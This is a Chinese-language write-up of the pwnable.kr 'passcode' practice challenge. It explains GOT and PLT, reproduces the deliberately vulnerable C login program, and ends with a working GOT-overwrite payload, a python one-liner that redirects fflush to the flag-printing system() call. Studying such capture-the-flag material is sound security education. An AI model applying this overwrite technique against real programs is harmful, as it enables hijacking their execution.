pwnable 笔记 Toddler's Bottle - passcode

注：

这题涉及到了GOT覆写技术，我更新了一篇讲GOT覆写的文章，以这道题做的例子，讲的比较详细，大家可以参考一下：

 http://blog.csdn.net/smalosnail/article/details/53247502

-----------------------------------------------------------------------------------------------------------------------------------------------------

这题拿到的时候根本找不到思路，哎，基础知识不够。于是补充了一下Linux关于GOT和PLT的知识

GOT表：

概念：每一个外部定义的符号在全局偏移表（Global offset Table ）中有相应的条目，GOT位于ELF的数据段中，叫做GOT段。

作用：把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时，运行时连接编辑器（rtld）找到相应的符号，并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置，而不再调用rtld。

PLT表：

过程连接表(Procedure LinkageTable)，一个PLT条目对应一个GOT条目

当main函数开始，会请求plt中这个函数的对应GOT地址，如果第一次调用那么GOT会重定位到plt，并向栈中压入一个偏移，程序的执行回到_init()函数，rtld得以调用就可以定位printf的符号地址，第二次运行程序再次调用这个函数时程序跳入plt，对应的GOT入口点就是真实的函数入口地址。

动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.

GOT覆写技术：

原理：由于got表是可写的，把其中的函数地址覆盖为我们shellcode地址，在程序进行调用这个函数时就会执行shellcode。

以上姿势来源： http://jing0107.lofter.com/post/1cbc869f_8b3d8a5

知识补充完毕，开始看题目

登录服务器后get题目源码如下：

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

思路：

看完源代码，发现只要 passcode1==338150 && passcode2==13371337就可以拿到flag，但是login()函数中的scanf("%d", passcode1);没有加&，没有办法把338150和13371337直接输入进去。但由于scanf没加&时会从栈中读取4个字节当scanf取的地址，并把scanf后输入的的内容存到那里，于是我们可以修改栈中的数据，写一个任意4字节的地址进去，来充当scanf取的地址。于是可以利用前面提到的GOT覆写技术，用一个GOT表中的函数地址来充当scanf取的地址，然后把system("/bin/cat flag")这条指令的地址通过scanf写到这个函数中，当这个函数被调用时，就会直接跳到system("/bin/cat flag")

有了思路做起来就轻松多了，首先查看一下GOT表中都有哪些函数

$ readelf -r ./passcode

看到了printf, fflush,exit 并且找到了system函数的偏移量，之后就是要确定变量name和passcode1，passcode2的位置。

$ objdump -d ./passcode 

找到name位于ebp-0x70，passcode1位于ebp-0x10，passcode2位于ebp-0xc
，name与passcode1之间隔了0x70-0x10=96个字节，用fflush()的地址覆盖passcode1后，scanf("%d"，&fflush())将会把之后的输入写入到GOT表中，于是把login()中system("/bin/cat flag")的地址转换成十进制写进去，当程序调用fflush()的时候就会执行system()

$ python -c "print 'A'*96+'\x00\xa0\x04\x08'+'134514147\n'" | ./passcode